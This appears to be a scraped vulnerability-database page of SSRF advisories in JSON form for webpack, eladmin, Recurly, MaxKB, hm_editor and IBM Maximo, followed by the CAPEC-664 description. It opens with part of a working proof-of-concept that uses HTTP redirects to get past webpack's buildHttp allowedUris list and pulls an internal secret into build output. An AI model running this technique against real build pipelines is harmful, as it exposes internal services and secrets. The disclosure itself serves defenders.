fs.mkdir(srcDir, { recursive: true });\n  await fs.mkdir(distDir, { recursive: true });\n\n  await fs.writeFile(\n    path.join(srcDir, \"index.js\"),\n    `import { secret } from ${JSON.stringify(entryUrl)};\nconsole.log(\"LEAKED_SECRET:\", secret);\nexport default secret;\n`\n  );\n\n  const config = {\n    context: tmp,\n    mode: \"development\",\n    entry: \"./src/index.js\",\n    output: { path: distDir, filename: \"bundle.js\" },\n    experiments: {\n      buildHttp: {\n        allowedUris: [allowedBase],\n        cacheLocation: cacheDir,\n        lockfileLocation: lockfile,\n        upgrade: true\n      }\n    }\n  };\n\n  const compiler = webpack(config);\n\n  compiler.run(async (err, stats) =\u003e {\n    try {\n      if (err) throw err;\n\n      const info = stats.toJson({ all: false, errors: true, warnings: true });\n      if (stats.hasErrors()) {\n        console.error(info.errors);\n        process.exitCode = 1;\n        return;\n      }\n\n      const bundle = await fs.readFile(bundlePath, \"utf8\");\n      const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);\n      const secret = m ? m[0] : null;\n\n      console.log(\"\\n[ATTACKER RESULT]\");\n      console.log(`- webpack version: ${webpackPkg.version}`);\n      console.log(`- node version: ${process.version}`);\n      console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`);\n      console.log(`- imported URL (allowed only): ${entryUrl}`);\n      console.log(`- temp dir: ${tmp}`);\n      console.log(`- lockfile: ${lockfile}`);\n      console.log(`- cacheDir: ${cacheDir}`);\n      console.log(`- bundle:   ${bundlePath}`);\n\n      if (!secret) {\n        console.log(\"\\n[SECURITY SUMMARY]\");\n        console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`);\n        return;\n      }\n\n      const lockHit = await fileContains(lockfile, secret);\n\n      let cacheFiles = [];\n      try { cacheFiles = await walk(cacheDir); } catch { cacheFiles = []; }\n      const cacheHit = cacheFiles.length ? (await findInFiles(cacheFiles, secret)).length \u003e 0 : false;\n\n      const allTmpFiles = await walk(tmp);\n      const allHits = await findInFiles(allTmpFiles, secret);\n\n      console.log(`\\n- extracted secret marker from bundle: ${secret}`);\n\n      console.log(\"\\n[SECURITY SUMMARY]\");\n      console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`);\n      console.log(`- Internal target (SSRF-like): ${internalTarget}`);\n      console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`);\n      console.log(`- ACTUAL: internal content treated as module and bundled`);\n\n      console.log(\"\\n[EVIDENCE CHECKLIST]\");\n      console.log(`- bundle contains secret:   ${fmtBool(true)}`);\n      console.log(`- cache contains secret:    ${fmtBool(cacheHit)}`);\n      console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);\n\n      console.log(\"\\n[PERSISTENCE CHECK] files containing secret\");\n      for (const f of allHits.slice(0, 30)) console.log(`- ${f}`);\n      if (allHits.length \u003e 30) console.log(`- ... and ${allHits.length - 30} more`);\n    } catch (e) {\n      console.error(e);\n      process.exitCode = 1;\n    } finally {\n      compiler.close(() =\u003e {});\n    }\n  });\n})();\n```\n\n#### 4) Run\nTerminal A:\n```bash\nnode server.js\n```\n\nTerminal B:\n```bash\nnode attacker.js\n```\n\n#### 5) Expected\n\nExpected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).\n\n### Impact\n\nVulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).\n\nWho is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:\n\ntrigger network requests from the build machine to internal-only services (SSRF behavior),\n\ncause content from outside the allow-list to be bundled into build outputs,\n\nand cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.",
  "id": "GHSA-38r7-794h-5758",
  "modified": "2026-02-06T14:39:25Z",
  "published": "2026-02-05T18:35:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/webpack/webpack/security/advisories/GHSA-38r7-794h-5758"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68157"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/webpack/webpack"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "webpack buildHttp HttpUriPlugin allowedUris bypass via HTTP redirects \u2192 SSRF + cache persistence"
}

GHSA-38RG-8RFH-J366

Vulnerability from github – Published: 2024-09-10 18:30 – Updated: 2025-03-31 18:31
VLAI
Details

eladmin v2.7 and before is vulnerable to Server-Side Request Forgery (SSRF) which allows an attacker to execute arbitrary code via the DatabaseController.java component.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-44677"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352",
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-10T16:15:20Z",
    "severity": "CRITICAL"
  },
  "details": "eladmin v2.7 and before is vulnerable to Server-Side Request Forgery (SSRF) which allows an attacker to execute arbitrary code via the DatabaseController.java component.",
  "id": "GHSA-38rg-8rfh-j366",
  "modified": "2025-03-31T18:31:02Z",
  "published": "2024-09-10T18:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-44677"
    },
    {
      "type": "WEB",
      "url": "https://github.com/elunez/eladmin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jcxj/jcxj/blob/master/source/_posts/eladmin-%E5%A4%8D%E7%8E%B0.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/l1uyi/cve-list/blob/main/cve-list/eladmin-CVE-2024-44676_CVE-2024-44677.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-38RV-5JQC-M2CV

Vulnerability from github – Published: 2019-01-04 17:48 – Updated: 2024-10-26 18:40
VLAI
Summary
Recurly vulnerable to SSRF
Details

The Recurly Client Python Library before 2.0.5, 2.1.16, 2.2.22, 2.3.1, 2.4.5, 2.5.1, 2.6.2 is vulnerable to a Server-Side Request Forgery vulnerability in the Resource.get method that could result in compromise of API keys or other critical resources.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "recurly"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.6.0"
            },
            {
              "fixed": "2.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "recurly"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.5.0"
            },
            {
              "fixed": "2.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.5.0"
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "recurly"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.4.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "recurly"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.3.0"
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "recurly"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "recurly"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "2.1.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "recurly"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-0906"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T20:54:38Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "The Recurly Client Python Library before 2.0.5, 2.1.16, 2.2.22, 2.3.1, 2.4.5, 2.5.1, 2.6.2 is vulnerable to a Server-Side Request Forgery vulnerability in the `Resource.get` method that could result in compromise of API keys or other critical resources.",
  "id": "GHSA-38rv-5jqc-m2cv",
  "modified": "2024-10-26T18:40:02Z",
  "published": "2019-01-04T17:48:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0906"
    },
    {
      "type": "WEB",
      "url": "https://github.com/recurly/recurly-client-python/commit/049c74699ce93cf126feff06d632ea63fba36742"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/288635"
    },
    {
      "type": "WEB",
      "url": "https://dev.recurly.com/page/python-updates"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-38rv-5jqc-m2cv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/recurly/PYSEC-2017-68.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Recurly vulnerable to SSRF"
}

GHSA-395G-C5FV-7HFH

Vulnerability from github – Published: 2026-06-25 21:31 – Updated: 2026-06-25 21:31
VLAI
Details

MaxKB before 2.10.0 contains a server-side request forgery vulnerability in tool creation and update endpoints that allows authenticated users to make arbitrary server requests by supplying unvalidated downloadCallbackUrl and download_url parameters. Attackers with default workspace USER role can exploit this to access internal network services by providing malicious URLs to the ToolSerializer endpoints.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-56779"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-25T19:16:44Z",
    "severity": "MODERATE"
  },
  "details": "MaxKB before 2.10.0 contains a server-side request forgery vulnerability in tool creation and update endpoints that allows authenticated users to make arbitrary server requests by supplying unvalidated downloadCallbackUrl and download_url parameters. Attackers with default workspace USER role can exploit this to access internal network services by providing malicious URLs to the ToolSerializer endpoints.",
  "id": "GHSA-395g-c5fv-7hfh",
  "modified": "2026-06-25T21:31:30Z",
  "published": "2026-06-25T21:31:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56779"
    },
    {
      "type": "WEB",
      "url": "https://github.com/1Panel-dev/MaxKB/issues/6272"
    },
    {
      "type": "WEB",
      "url": "https://github.com/1Panel-dev/MaxKB/commit/6c156afc656afa62ea4280e504a06ac1c9696b36"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/maxkb-server-side-request-forgery-via-downloadcallbackurl-and-download-url-parameters"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-395J-2JWF-Q33H

Vulnerability from github – Published: 2026-04-02 15:31 – Updated: 2026-04-02 15:31
VLAI
Details

A vulnerability was determined in huimeicloud hm_editor up to 2.2.3. Impacted is the function client.get of the file src/mcp-server.js of the component image-to-base64 Endpoint. Executing a manipulation of the argument url can lead to server-side request forgery. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-5346"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-02T15:16:53Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was determined in huimeicloud hm_editor up to 2.2.3. Impacted is the function client.get of the file src/mcp-server.js of the component image-to-base64 Endpoint. Executing a manipulation of the argument url can lead to server-side request forgery. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-395j-2jwf-q33h",
  "modified": "2026-04-02T15:31:43Z",
  "published": "2026-04-02T15:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5346"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wing3e/public_exp/issues/11"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/781341"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/354701"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/354701/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-3995-CWRC-82PQ

Vulnerability from github – Published: 2025-04-22 00:30 – Updated: 2025-04-22 00:30
VLAI
Details

IBM Maximo Asset Management 7.6.1.3 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-2987"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-22T00:15:13Z",
    "severity": "LOW"
  },
  "details": "IBM Maximo Asset Management 7.6.1.3 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.",
  "id": "GHSA-3995-cwrc-82pq",
  "modified": "2025-04-22T00:30:31Z",
  "published": "2025-04-22T00:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2987"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7231390"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.